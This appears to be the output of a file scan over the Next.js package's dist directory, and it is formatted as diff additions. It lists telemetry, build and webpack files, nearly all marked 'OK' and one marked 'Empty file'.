+/scan/node_modules/next/dist/telemetry/ci-info.js.map: OK
+/scan/node_modules/next/dist/telemetry/post-payload.d.ts: OK
+/scan/node_modules/next/dist/telemetry/post-payload.js: OK
+/scan/node_modules/next/dist/telemetry/project-id.js: OK
+/scan/node_modules/next/dist/telemetry/anonymous-meta.js.map: OK
+/scan/node_modules/next/dist/telemetry/flush-and-exit.js.map: OK
+/scan/node_modules/next/dist/telemetry/flush-and-exit.d.ts: OK
+/scan/node_modules/next/dist/telemetry/anonymous-meta.js: OK
+/scan/node_modules/next/dist/telemetry/post-payload.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/plugins.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/version.d.ts: OK
+/scan/node_modules/next/dist/telemetry/events/session-stopped.d.ts: OK
+/scan/node_modules/next/dist/telemetry/events/swc-load-failure.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/swc-plugins.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/plugins.js: OK
+/scan/node_modules/next/dist/telemetry/events/session-stopped.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/build.js: OK
+/scan/node_modules/next/dist/telemetry/events/swc-load-failure.js: OK
+/scan/node_modules/next/dist/telemetry/events/index.js: OK
+/scan/node_modules/next/dist/telemetry/events/version.js: OK
+/scan/node_modules/next/dist/telemetry/events/swc-plugins.d.ts: OK
+/scan/node_modules/next/dist/telemetry/events/build.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/swc-load-failure.d.ts: OK
+/scan/node_modules/next/dist/telemetry/events/swc-plugins.js: OK
+/scan/node_modules/next/dist/telemetry/events/index.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/version.js.map: OK
+/scan/node_modules/next/dist/telemetry/events/session-stopped.js: OK
+/scan/node_modules/next/dist/telemetry/events/index.d.ts: OK
+/scan/node_modules/next/dist/telemetry/events/build.d.ts: OK
+/scan/node_modules/next/dist/telemetry/events/plugins.d.ts: OK
+/scan/node_modules/next/dist/telemetry/storage.d.ts: OK
+/scan/node_modules/next/dist/telemetry/anonymous-meta.d.ts: OK
+/scan/node_modules/next/dist/telemetry/detached-flush.d.ts: OK
+/scan/node_modules/next/dist/telemetry/storage.js: OK
+/scan/node_modules/next/dist/telemetry/ci-info.js: OK
+/scan/node_modules/next/dist/build/progress.js.map: OK
+/scan/node_modules/next/dist/build/collect-build-traces.d.ts: OK
+/scan/node_modules/next/dist/build/worker.js.map: OK
+/scan/node_modules/next/dist/build/type-check.js: OK
+/scan/node_modules/next/dist/build/deployment-id.d.ts: OK
+/scan/node_modules/next/dist/build/generate-build-id.d.ts: OK
+/scan/node_modules/next/dist/build/page-extensions-type.js: OK
+/scan/node_modules/next/dist/build/handle-externals.js: OK
+/scan/node_modules/next/dist/build/analysis/get-page-static-info.d.ts: OK
+/scan/node_modules/next/dist/build/analysis/extract-const-value.d.ts: OK
+/scan/node_modules/next/dist/build/analysis/parse-module.js: OK
+/scan/node_modules/next/dist/build/analysis/get-page-static-info.js: OK
+/scan/node_modules/next/dist/build/analysis/extract-const-value.js.map: OK
+/scan/node_modules/next/dist/build/analysis/parse-module.d.ts: OK
+/scan/node_modules/next/dist/build/analysis/parse-module.js.map: OK
+/scan/node_modules/next/dist/build/analysis/get-page-static-info.js.map: OK
+/scan/node_modules/next/dist/build/analysis/extract-const-value.js: OK
+/scan/node_modules/next/dist/build/generate-build-id.js: OK
+/scan/node_modules/next/dist/build/normalize-catchall-routes.js.map: OK
+/scan/node_modules/next/dist/build/load-jsconfig.js: OK
+/scan/node_modules/next/dist/build/get-babel-config-file.js.map: OK
+/scan/node_modules/next/dist/build/get-babel-config-file.d.ts: OK
+/scan/node_modules/next/dist/build/entries.d.ts: OK
+/scan/node_modules/next/dist/build/webpack-config.d.ts: OK
+/scan/node_modules/next/dist/build/deployment-id.js: OK
+/scan/node_modules/next/dist/build/spinner.d.ts: OK
+/scan/node_modules/next/dist/build/load-entrypoint.d.ts: OK
+/scan/node_modules/next/dist/build/create-compiler-aliases.js.map: OK
+/scan/node_modules/next/dist/build/write-build-id.d.ts: OK
+/scan/node_modules/next/dist/build/worker.js: OK
+/scan/node_modules/next/dist/build/page-extensions-type.d.ts: OK
+/scan/node_modules/next/dist/build/type-check.d.ts: OK
+/scan/node_modules/next/dist/build/load-entrypoint.js.map: OK
+/scan/node_modules/next/dist/build/page-extensions-type.js.map: OK
+/scan/node_modules/next/dist/build/load-jsconfig.js.map: OK
+/scan/node_modules/next/dist/build/normalize-catchall-routes.js: OK
+/scan/node_modules/next/dist/build/output/store.d.ts: OK
+/scan/node_modules/next/dist/build/output/store.js.map: OK
+/scan/node_modules/next/dist/build/output/log.d.ts: OK
+/scan/node_modules/next/dist/build/output/store.js: OK
+/scan/node_modules/next/dist/build/output/log.js: OK
+/scan/node_modules/next/dist/build/output/index.js: OK
+/scan/node_modules/next/dist/build/output/index.js.map: OK
+/scan/node_modules/next/dist/build/output/log.js.map: OK
+/scan/node_modules/next/dist/build/output/index.d.ts: OK
+/scan/node_modules/next/dist/build/collect-build-traces.js.map: OK
+/scan/node_modules/next/dist/build/index.js: OK
+/scan/node_modules/next/dist/build/webpack-build/impl.js.map: OK
+/scan/node_modules/next/dist/build/webpack-build/impl.d.ts: OK
+/scan/node_modules/next/dist/build/webpack-build/index.js: OK
+/scan/node_modules/next/dist/build/webpack-build/impl.js: OK
+/scan/node_modules/next/dist/build/webpack-build/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack-build/index.d.ts: OK
+/scan/node_modules/next/dist/build/compiler.js: OK
+/scan/node_modules/next/dist/build/build-context.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/result.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/types.js: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/types.js.map: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/types.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/env.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/tcp.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/index.js: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/env.js: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/result.js.map: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/helpers.js.map: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/tcp.js.map: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/helpers.js: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/index.js.map: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/result.js: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/env.js.map: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/helpers.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/index.d.ts: OK
+/scan/node_modules/next/dist/build/turborepo-access-trace/tcp.js: OK
+/scan/node_modules/next/dist/build/webpack-config.js.map: OK
+/scan/node_modules/next/dist/build/entries.js.map: OK
+/scan/node_modules/next/dist/build/generate-build-id.js.map: OK
+/scan/node_modules/next/dist/build/swc/jest-transformer.js.map: OK
+/scan/node_modules/next/dist/build/swc/jest-transformer.js: OK
+/scan/node_modules/next/dist/build/swc/options.d.ts: OK
+/scan/node_modules/next/dist/build/swc/options.js: OK
+/scan/node_modules/next/dist/build/swc/index.js: OK
+/scan/node_modules/next/dist/build/swc/options.js.map: OK
+/scan/node_modules/next/dist/build/swc/helpers.js.map: OK
+/scan/node_modules/next/dist/build/swc/jest-transformer.d.ts: OK
+/scan/node_modules/next/dist/build/swc/helpers.js: OK
+/scan/node_modules/next/dist/build/swc/index.js.map: OK
+/scan/node_modules/next/dist/build/swc/helpers.d.ts: OK
+/scan/node_modules/next/dist/build/swc/index.d.ts: OK
+/scan/node_modules/next/dist/build/worker.d.ts: OK
+/scan/node_modules/next/dist/build/write-build-id.js.map: OK
+/scan/node_modules/next/dist/build/spinner.js: OK
+/scan/node_modules/next/dist/build/build-context.js: OK
+/scan/node_modules/next/dist/build/type-check.js.map: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-browser.js.map: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-browser-experimental.js: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-edge-experimental.js.map: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-edge.js: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-edge.js.map: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-browser-experimental.js.map: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-browser.js: OK
+/scan/node_modules/next/dist/build/webpack/alias/react-dom-server-edge-experimental.js: OK
+/scan/node_modules/next/dist/build/webpack/stringify-request.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/plugins.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/plugins.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/messages.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/index.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/client.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/client.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/next-font.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/modules.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/next-font.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/file-resolve.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/getCssModuleLocalIdent.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/global.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/global.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/index.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/file-resolve.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/getCssModuleLocalIdent.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/modules.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/global.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/modules.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/file-resolve.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/client.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/next-font.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/loaders/getCssModuleLocalIdent.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/messages.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/messages.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/css/plugins.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/images/messages.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/images/index.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/images/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/images/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/images/messages.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/images/messages.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/base.js: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/base.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/blocks/base.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/index.js: OK
+/scan/node_modules/next/dist/build/webpack/config/helpers.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/utils.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/helpers.js: OK
+/scan/node_modules/next/dist/build/webpack/config/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/utils.js: OK
+/scan/node_modules/next/dist/build/webpack/config/utils.js.map: OK
+/scan/node_modules/next/dist/build/webpack/config/helpers.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/config/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/css-minimizer-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/jsconfig-paths-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/nextjs-require-cache-hot-reloader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/profiling-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/jsconfig-paths-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/middleware-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/profiling-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/nextjs-require-cache-hot-reloader.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/memory-with-gc-cache-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/flight-client-entry-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/mini-css-extract-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/build-manifest-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/define-env-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/pages-manifest-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/build-manifest-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/subresource-integrity-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/font-stylesheet-gathering-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/flight-client-entry-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/memory-with-gc-cache-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/define-env-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/pages-manifest-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/telemetry-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-trace-entrypoints-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/index.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/shared.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/index.test.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/shared.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-types-plugin/shared.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/css-chunking-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/subresource-integrity-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/mini-css-extract-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/copy-file-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/telemetry-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/profiling-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/terser-webpack-plugin/src/minify.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/terser-webpack-plugin/src/index.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/terser-webpack-plugin/src/minify.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/terser-webpack-plugin/src/minify.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/terser-webpack-plugin/src/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/terser-webpack-plugin/src/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/subresource-integrity-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/font-stylesheet-gathering-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-trace-entrypoints-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/react-loadable-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/copy-file-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/define-env-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/css-chunking-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/mini-css-extract-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/flight-manifest-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-font-manifest-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-drop-client-page-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/middleware-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/app-build-manifest-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/css-chunking-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-trace-entrypoints-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/optional-peer-dependency-resolve-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-font-manifest-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/react-loadable-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/memory-with-gc-cache-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/font-stylesheet-gathering-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/flight-client-entry-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/app-build-manifest-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/jsconfig-paths-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/app-build-manifest-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNotFoundError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseCss.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/webpackModuleError.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/webpackModuleError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseRSC.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseScss.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextFontError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseBabel.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextFontError.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parse-dynamic-code-evaluation-error.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseCss.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextInvalidImportError.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextAppLoaderError.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseRSC.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseCss.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextAppLoaderError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/getModuleTrace.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parse-dynamic-code-evaluation-error.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/index.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNotFoundError.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseScss.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseBabel.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/webpackModuleError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseBabel.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseRSC.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNotFoundError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/getModuleTrace.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/simpleWebpackError.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextInvalidImportError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/simpleWebpackError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextInvalidImportError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/getModuleTrace.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/simpleWebpackError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextAppLoaderError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parse-dynamic-code-evaluation-error.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseScss.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/wellknown-errors-plugin/parseNextFontError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/copy-file-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/css-minimizer-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/pages-manifest-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/optional-peer-dependency-resolve-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/optional-peer-dependency-resolve-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/build-manifest-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/css-minimizer-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/flight-manifest-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-font-manifest-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/react-loadable-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/flight-manifest-plugin.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/nextjs-require-cache-hot-reloader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-drop-client-page-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/plugins/telemetry-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/next-drop-client-page-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/plugins/middleware-plugin.js: OK
+/scan/node_modules/next/dist/build/webpack/stringify-request.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/utils.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/stringify-request.js: OK
+/scan/node_modules/next/dist/build/webpack/utils.js: OK
+/scan/node_modules/next/dist/build/webpack/utils.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-swc-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/CssSyntaxError.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-import-parser.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-import-parser.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-url-parser.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-icss-parser.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-url-parser.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-icss-parser.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-import-parser.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-url-parser.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/postcss-icss-parser.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/plugins/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/runtime/getUrl.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/runtime/api.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/runtime/getUrl.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/runtime/api.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/runtime/api.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/runtime/getUrl.d.ts: Empty file
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/CssSyntaxError.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/utils.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/camelcase.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/utils.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/utils.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/camelcase.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/CssSyntaxError.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/css-loader/src/camelcase.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/empty-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-metadata-route-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-asset-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-client-entry-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-css-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/error-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-action-entry-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-font-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-font-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-font-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-font-loader/postcss-next-font.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-font-loader/postcss-next-font.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-font-loader/postcss-next-font.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-invalid-import-error-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-barrel-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-asset-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-asset-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-action-entry-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/injectStylesIntoStyleTag.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/injectStylesIntoLinkTag.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/injectStylesIntoStyleTag.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/isEqualLocals.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/isEqualLocals.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/injectStylesIntoStyleTag.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/injectStylesIntoLinkTag.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/isEqualLocals.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/runtime/injectStylesIntoLinkTag.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-style-loader/index.d.ts: OK
